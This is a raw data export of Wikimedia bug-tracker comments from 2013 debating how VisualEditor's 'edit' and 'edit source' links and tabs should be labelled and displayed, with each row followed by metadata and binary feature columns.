+What do you mean by ""we display:none the former if the user doesn't pass the blacklist code""? What is the ""blacklist code""?",,,1372819046,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0
+245766,VisualEditor: Tab layout should be done from a top-loading module,"Re-titling slightly per discussion; the suggestion is now:
+
+* VisualEditor (?in PHP for efficiency/simplicity) hooks into the page before display
+* On this hook,
+** we add the VE edit tab (""edit"")
+** we switch out the WT edit tab with a new label and tool-tip (""edit source"")
+** we display:none the former if the user doesn't pass the blacklist code",,,1372817658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+245758,VisualEditor: Tab layout should be done from a top-loading module,"No, this bug is about the tabs at the top of the page (Read/Edit/Edit source), while bug 50540 is about the section-level edit links.",,,1372729158,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245751,VisualEditor: Tab layout should be done from a top-loading module,Should this be merged in some way with Bug 50540?,,,1372729099,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+52540,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","A long-standing editor feels that the delay before the ""edit source"" option in sections disadvantages those who wish to bypass VE. Is it possible to have the ""edit source"" link visible always?
+
+See:
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562471642#Very_slow_and_featureless
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",High,80.0,1372724940,1375464355.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-em7qpd4h4h3xgy2ceara,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+245687,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",As per https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update this has been fixed.,,,1375464355,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245684,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #50)
+
+> That RFC can provide guidance, but there are issues of ends versus means.
+
+Exactly. The ""end"" of testing Visual Editor should not include the ""means"" of having it used by the unwary. The only people using VE at this point should be people that are completely aware that they are testing in addition to editing. We can't rely that new accounts have seen some previous notice, or that anonymous editors have seen any notice at all. The only way to ensure that people are aware that it is a beta editor is in the button text itself.",,,1375301804,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+245682,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #49)
+> The only mention of the warning that it is beta came in the ""Oppose"" section.
+> The very fact that two of the only three oppose votes mention placing the
+> warning after VE has been invoked makes it clear that people commenting are
+> commenting in the context that the *button* should warn people that it's
+> beta.
+
+That RFC can provide guidance, but there are issues of ends versus means. Changing the section edit links to read ""beta"" would be a bad idea both for the English Wikipedia and for VisualEditor generally.
+
+As suggested in comment 46, the exact wording should be customizable by editing the relevant MediaWiki message pages on-wiki. This bug should focus on removing the animation altogether and providing a sane default behavior for VisualEditor.",,,1375301077,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+245680,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #47)
+> (In reply to comment #45)
+> > I would suggest that we go with
+> > 
+> > [beta editor | stable editor] 
+> 
+> No. That RFC (linked in comment 45) ... suggests better advertising that
+> VisualEditor is beta software. 
+
+It specifically asks about the ""user interface"", not the advertising.
+
+(In reply to comment #48)
+
+> 
+> ,,, we don't need to point out that it's beta in the
+> section edit links (it would just be more annoying). 
+
+I suggest that you go back and read that section. The question is explicit. 
+
+Answer 1: The ""edit"" button should explicitly say ""beta editor"" 
+Answer 4: Please label that Edit button more clearly as the way to the Beta version.
+Answer 7: Indeed, per Kww (i.e. per answer 1)
+Answer 17: per User:Kww (again, per answer 1)
+Answer 26: There is no reason the ""edit"" button shouldn't mention the fact it's using VE
+Answer  28: Per kww (i.e. per answer 1)
+Answer 34: Per kww
+Answer 39: Label ""Edit for beta or worse"" (just kidding). Perhaps label as ""Edit slow"" or ""Edit risky"" or such
+
+All the remaining supports were in the context of actually changing the *button text*, even if the question said ""user interface"".
+
+The only mention of the warning that it is beta came in the ""Oppose"" section. The very fact that two of the only three oppose votes mention placing the warning after VE has been invoked makes it clear that people commenting are commenting in the context that the *button* should warn people that it's beta.",,,1375300376,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+245677,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #46)
+> [visual edit (beta) | source edit] would be better but not optimal I don't
+> think. [edit | edit visually (beta)] is the most compact that I can come up
+> with, but I'm not claiming that as perfect.
+
+As stated in comment 47, we don't need to point out that it's beta in the section edit links (it would just be more annoying). We can advertise that VisualEditor is beta software in the VisualEditor interface itself (i.e., ?veaction=edit).",,,1375299134,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1
+245674,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #45)
+> I would suggest that we go with
+> 
+> [beta editor | stable editor] 
+
+No. That RFC (linked in comment 45) is specific to one wiki and doesn't suggest using [beta editor | stable editor], it suggests better advertising that VisualEditor is beta software. This request should be filed as a separate bug (and cross-referenced with [[Wikipedia:VisualEditor/Improvements]]).",,,1375299017,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+245667,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I don't think [beta editor | stable editor] is good as it doesn't tell you what the functional difference between them is. We probably also want to stick with ""edit"" rather than ""editor"" (verb rather than noun). 
+
+[visual edit (beta) | source edit] would be better but not optimal I don't think. 
+[edit | edit visually (beta)] is the most compact that I can come up with, but I'm not claiming that as perfect. If one of them is labelled simply ""edit"" that should be listed first (regardless of which one it is).
+
+Allowing the titles to be set by a MediaWiki: namespace page would be ideal, but that is a different request and I can't remember if it has a bug or not.",,,1375298923,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+245659,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #44)
+> This needs to be fixed as soon as possible. Compounded annoyance is a very
+> bad
+> thing.
+> 
+> Let's go with [edit | edit source] for now.
+
+Based on the results so far at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Default_State_RFC#Question_4:_Should_the_user_interface_explicitly_warn_editors_that_pressing_the_.22edit.22_button_is_using_beta_software.3F I would suggest that we go with
+
+[beta editor | stable editor] 
+
+or there will be more calls that WMF is not paying attention to the preferences of the Wikipedia community",,,1375298212,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+245653,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","This needs to be fixed as soon as possible. Compounded annoyance is a very bad thing.
+
+Let's go with [edit | edit source] for now.",,,1375296805,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+245646,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**lecotegougdelaforce** wrote:
+
+Two more comments, after reading the discussion pointed by comment 30 : 
+
+- this argument from Nick White needs emphasizing : ""I don't think two small edit links by section headings constitute clutter. Rather it emphasises *the* key
+thing about wikipedia, that editing is encouraged.""
+
+- the cluttering invoked to justify the hovering solution is actually an argument *against* the hovering : in any case when you hover the link the second option appears, so at one moment the same text will be visible anyway, and actually the hovering is adding a level of cluttering, blinking (including additional blinking when the hovering occurs without the user wanting to edit the section).",,,1375278214,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+245640,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**lecotegougdelaforce** wrote:
+
+Glad to see this report already exists.
+
+The idea of having text for VE editing and an icon for standard editing is *wrong* : you can't have two different methods (namely text and image) for advertising two options of a single choice, it's an aberration in terms of user interface (I'm no expert though), it's completely counter-intuitive.  Furthermore people use to associate text *with* image (caption), which makes it even more counter-intuitive.
+
+As far as I'm concerned, I'd be satisfied if we could just switch the default editing method.  That is, I don't want to use VE as a standard, but an advertisement saying it may be useful in certain situations, so I'd prefer to keep it at the hand in case I want to give it a try.  However, I want the default editing action to be the standard editing.  That is, I want the first ""modify"" link to open the standard editor, and the link enabled by the hovering to be the VE.  Therefore, a simple ""default editor = standard/VE"" in the preferences would be enough for me.
+
+However I understand the reading issue mentioned in comment 25, so I'd prefer if the hovering was completely disabled and both links always present (possibly with the option to hide one or both in the preferences).
+
+Furthermore, I'm strongly for the idea to give the user the choice of his editor.  And when I say ""user"", I also mean ""new user"".  Not all users are WYSIWYGers, and though people seem (and they're probably right) to think that the standard editor may frighten some new users, hiding the standard editor by default may as well repel some new users.
+
+Therefore the best solution in my opinion would be to simply disable the hovering and keeping both links, with the possibility to hide one or both in the preferences.  The argument that it's too many links is absurd : on a webpage there are links everywhere, internet users are used to ignore them.  It's even more true for WP where almost half of words are links…",,,1375277119,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+245635,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #40 by kwwilliams@kwwilliams.com)
+
+I was assuming of course that the visual editor was working well. I think that the visual editor should be turned off for anonymous IP users until it is working well. 
+
+The VE should have true section editing (instead of whole-page editing as it does now) before IP users are allowed to use the VE. 
+
+The VE also needs to be able to add references well before it is enabled again for IP users.",,,1375120403,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+245631,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:
+
+(In reply to comment #39)
+> (In reply to comment #38 by Chris McKenna)
+> 
+> I think completely new users would be more confused by having to choose
+> between
+> 2 edit links in text format. We want to encourage them to try the WYSIWYG
+> visual editor first. 
+> 
+Why would you want to do that? Wouldn't it be better to steer them to the working editor if you need to ""steer"" them at all?
+
+The navigation needs to remain *neutral*.",,,1375113009,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1
+245626,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #38 by Chris McKenna)
+
+I think completely new users would be more confused by having to choose between 2 edit links in text format. We want to encourage them to try the WYSIWYG visual editor first. 
+
+If there is one link and one icon they see the VE ""edit"" link and so they click it to edit. Nothing could be simpler up to that point. 
+
+Then they type in some text, and maybe add bold and italic via VE. So far, it is very simple, and exactly like their email composition.  
+
+My Google Mail ""compose"" link goes directly to the WYSIWYG editor. So should the ""edit"" link in Wikipedia. 
+
+Google Mail offers a ""plain text mode"" in an unlabeled dropdown menu at the bottom right of the compose window. 
+
+We don't want to make wikitext source editing difficult to access, and so an icon is direct access. But we won't confuse completely new users by having two openly-labeled ""edit"" links.",,,1375091920,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+245621,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","It's not about aesthetics (that's the reason we have the hover) it's about usability. 
+
+One icon and one link would not likely slow me down considerably, but it would seriously impact new users and those who are not as computer savvy as the people who comment here. UIs need to consistent and accessible. There are two editors, and they need to be accessed in the same way. One icon and one link is guaranteed to cause confusion and it will require active thought far longer than two of the same (blame human psychology).
+
+Take a look at the user interfaces of all the websites and programs you use, and look at the ones you don't regularly use because you can do the same easier elsewhere. Notice how all the ones you think of as good are clear, intuitive and internally consistent. This is not a coincidence.",,,1375058688,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0
+245614,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #35 by Chris McKenna)
+
+You said the following concerning why you want consistency:
+
+> Because there are two ways to do the same job (edit the page) the ways of
+> doing this need to look the same. 
+
+...
+
+> As explained above, ""clutter"" is very significantly less important than
+> consistency. If we need it to say ""edit"" at least once then we need two text
+> links. If two text links are two cluttered then we need two icons.
+
+I still do not see how one edit link being text, and one being an icon would slow down your editing in any way. It sounds more like an esthetic preference.  
+
+You like things in order. My room is probably a lot messier than yours. ;)
+
+I think many options should be put in user preferences. The more the better as far as I am concerned. More happy editors means more editing gets done.",,,1375047003,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+245608,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Just to point out the importance of this bug:
+
+I just deactivated VisualEditor for this exact reason. I hate the hovering, and I'm mis-clicking regularly because of the VE replacing my well known ""Edit"" button. Since it is know activated also in my Homewiki (dewiki) I can't stand it any longer. Goodby VE!
+
+Actually I *tried* to give it a chance (I did not deactivate it up to now, although there are many possibilities around how to do it!), but the agressive way the VE is replacing UI links is just not acceptable.",,,1375018892,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+245602,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #34)
+> Chris McKenna said that a text link and an icon link were ""a nightmare from a
+> usability perspective"". 
+> 
+Yes, because they are inconsistent. 
+
+> You are saying ""it's about consistency"". Something can be completely usable
+> and
+> not be consistent. Why is consistency important to you? I do not see the
+> need. 
+Because there are two ways to do the same job (edit the page) the ways of doing this need to look the same. 
+
+> According to your logic, we should delete the watchlist star icon because it
+> is
+> inconsistent with the text links at the top of pages. 
+
+The watchlist star is irrelevant to this discussion. It does not offer an alternative interface to achieve the same job as one of the text links. Completely different situation
+  
+> An icon avoids clutter on section header lines. We still need ""edit"" as text
+> at
+> least once, since that is what makes Wikipedia what it is; the encyclopedia
+> that anybody can *edit*.
+
+As explained above, ""clutter"" is very significantly less important than consistency. If we need it to say ""edit"" at least once then we need two text links. If two text links are two cluttered then we need two icons.",,,1374997623,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,1,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+245597,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #33 by Eduard Braun)
+> It's not about ""being difficult"" it's about consistency!
+> 
+> We have two equivalent ways of editing an article, therefore there should be
+> two equivalent buttons.
+> 
+> Either both of them should be textual links or both of them should be icons.
+
+Chris McKenna said that a text link and an icon link were ""a nightmare from a usability perspective"". 
+
+You are saying ""it's about consistency"". Something can be completely usable and not be consistent. Why is consistency important to you? I do not see the need. 
+
+According to your logic, we should delete the watchlist star icon because it is inconsistent with the text links at the top of pages. I believe the watchlist star icon was partially implemented as a way to save space at the top of pages, and to avoid having dropdown menus in smaller screens. 
+
+The star icon allowed the viewing of Wikipedia pages at smaller screen widths before the dropdown menus showed up at the top. 
+
+With edit links we are trying to avoid dropdowns, hover, and hidden edit links. 
+
+An icon avoids clutter on section header lines. We still need ""edit"" as text at least once, since that is what makes Wikipedia what it is; the encyclopedia that anybody can *edit*.",,,1374980634,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+245592,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","It's not about ""being difficult"" it's about consistency!
+
+We have two equivalent ways of editing an article, therefore there should be two equivalent buttons.
+
+Either both of them should be textual links or both of them should be icons.
+
+None of them should be hidden by default.",,,1374973998,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,1,0,0,0
+245589,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #31 by Chris McKenna)
+
+I don't understand. How is it difficult to click a static icon that is there all the time (without having to go through any hovering)? There is a star icon at the top of almost every Wikipedia page for adding or removing a page from one's watchlist. 
+
+If clicking an icon to get to the source wikitext editor is a nightmare, then how is making both links icons (as you suggest) better. I agree that the icon for the source wikitext editor should have alt text and tooltip. I should have stated that to begin with, but I assumed that would be done, just as it is for the watchlist star at the top of the page.",,,1374973136,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+245585,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #30)
+> I think the least cluttered longterm solution for them might be
+> an
+> ""edit"" link for the visual editor, and an icon for the source wikitext
+> editor.
+
+Least cluttered perhaps, but a nightmare from a usability perspective. Either make both an icon (with alt text and tooltip) or both text links. Usability is far more important than avoiding a tiny bit of clutter.",,,1374926926,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1
+245580,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #26 by Erik Moeller)
+> I agree we need to revisit this, Richard. We'll kick around some options, but
+> we won't be able to get a new interface out before next week at the earliest.
+
+I see that this is being discussed here: 
+*http://lists.wikimedia.org/pipermail/design/2013-July/subject.html 
+
+I note that in this message 
+http://lists.wikimedia.org/pipermail/design/2013-July/000804.html 
+you agree with Trevor Parscal: ""The hover effect is easy to drop - if we are all willing to take the hit on the clutter."" 
+
+I agree with you on this: ""If we want experienced users to test it every once in a while, give feedback on how it can be made better, and have them see the improvements, finding a solution that poses the least burden on them will give us the biggest win.""
+
